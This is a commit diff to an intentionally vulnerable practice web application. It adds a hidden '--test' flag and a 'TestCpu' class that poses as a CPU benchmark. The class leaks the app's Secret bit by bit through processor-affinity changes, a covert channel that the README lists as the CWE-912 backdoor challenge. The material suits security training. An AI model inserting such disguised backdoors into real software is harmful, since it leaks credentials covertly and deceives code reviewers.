Test++

Program.cs

@@ -9,6 +9,7 @@
 using VulnerableWebApplication.VLAModel;
 using VulnerableWebApplication.VLAIdentity;
 using VulnerableWebApplication.MidlWare;
+using VulnerableWebApplication.TestCpu;
 using Microsoft.AspNetCore.OpenApi;
 using GraphQL.Types;
 using GraphQL;
@@ -29,9 +30,7 @@
 builder.Services.AddSingleton<ClientDetailsType>();
 builder.Services.AddSingleton<ClientQuery>();
 builder.Services.AddSingleton<ISchema, ClientDetailsSchema>();
-builder.Services.AddGraphQL(b => b
- .AddAutoSchema<ClientQuery>() // schema
- .AddSystemTextJson()); // serializer
+builder.Services.AddGraphQL(b => b.AddAutoSchema<ClientQuery>().AddSystemTextJson());
 
 builder.Services.AddHttpLogging(logging =>
 {
@@ -84,6 +83,15 @@
 // Arguments :
 
 string url = args.FirstOrDefault(arg => arg.StartsWith("--url="));
+string test = args.FirstOrDefault(arg => arg.StartsWith("--test"));
+
+if(!string.IsNullOrEmpty(test))
+{
+ Console.WriteLine("Start CPU Testing");
+ TestCpu.TestAffinity(Secret);
+}
+
+
 
 if (string.IsNullOrEmpty(url))
 {
@@ -92,7 +100,6 @@
 }
 else app.Urls.Add(url.Substring("--url=".Length));
 
-
 // Lancement :
 
 app.Run();

README.md

@@ -42,6 +42,7 @@
 | CWE-787 | Out-of-bounds Write | Easy | 500-5000$ |
 | CWE-798 | Use of Hard-coded Credentials | Very Easy | 1.000-10.000$ |
 | CWE-829 | Local File Inclusion | Easy | 500-2.000$ |
+| CWE-912 | Backdoor | Very Hard | 10.000$-100.000$ |
 | CWE-918 | Server-Side Request Forgery (SSRF) | Medium | 1.000$-10.000$ |
 | CWE-1270 | Generation of Incorrect Security Tokens | Medium | 1.000-20.000$ |
 

TestCpu/TestCpu.cs

@@ -0,0 +1,57 @@
+using GraphQL;
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+
+
+namespace VulnerableWebApplication.TestCpu
+{
+ public class TestCpu
+ {
+ public static void TestAffinity(string Str)
+ {
+ string BinStr = ConvertToBinary(Str);
+
+ Console.WriteLine("Total proc: {0}", Environment.ProcessorCount);
+ foreach (char bit in BinStr)
+ {
+ Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)(bit - '0' +1);
+ CalculateSHA512(Str);
+ }
+ Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)5;
+ }
+
+ public static string ConvertToBinary(string input)
+ {
+ byte[] bytes = Encoding.UTF8.GetBytes(input);
+ StringBuilder binary = new StringBuilder();
+
+ foreach (byte b in bytes) binary.Append(Convert.ToString(b,2).PadLeft(8,'0'));
+
+ return binary.ToString();
+ }
+
+ public static void CalculateSHA512(string input)
+ {
+ {
+ var stopWatch = new Stopwatch();
+ stopWatch.Start();
+ while (stopWatch.Elapsed.TotalSeconds < 5)
+ {
+ using (var sha256 = SHA256.Create())
+ {
+ var bytes = Encoding.UTF8.GetBytes(Guid.NewGuid().ToString());
+ var hash = sha256.ComputeHash(bytes);
+ }
+ }
+ stopWatch.Stop();
+ Console.WriteLine("Current proc : {0}", Process.GetCurrentProcess().ProcessorAffinity);
+ }
+ }
+
+ }
+}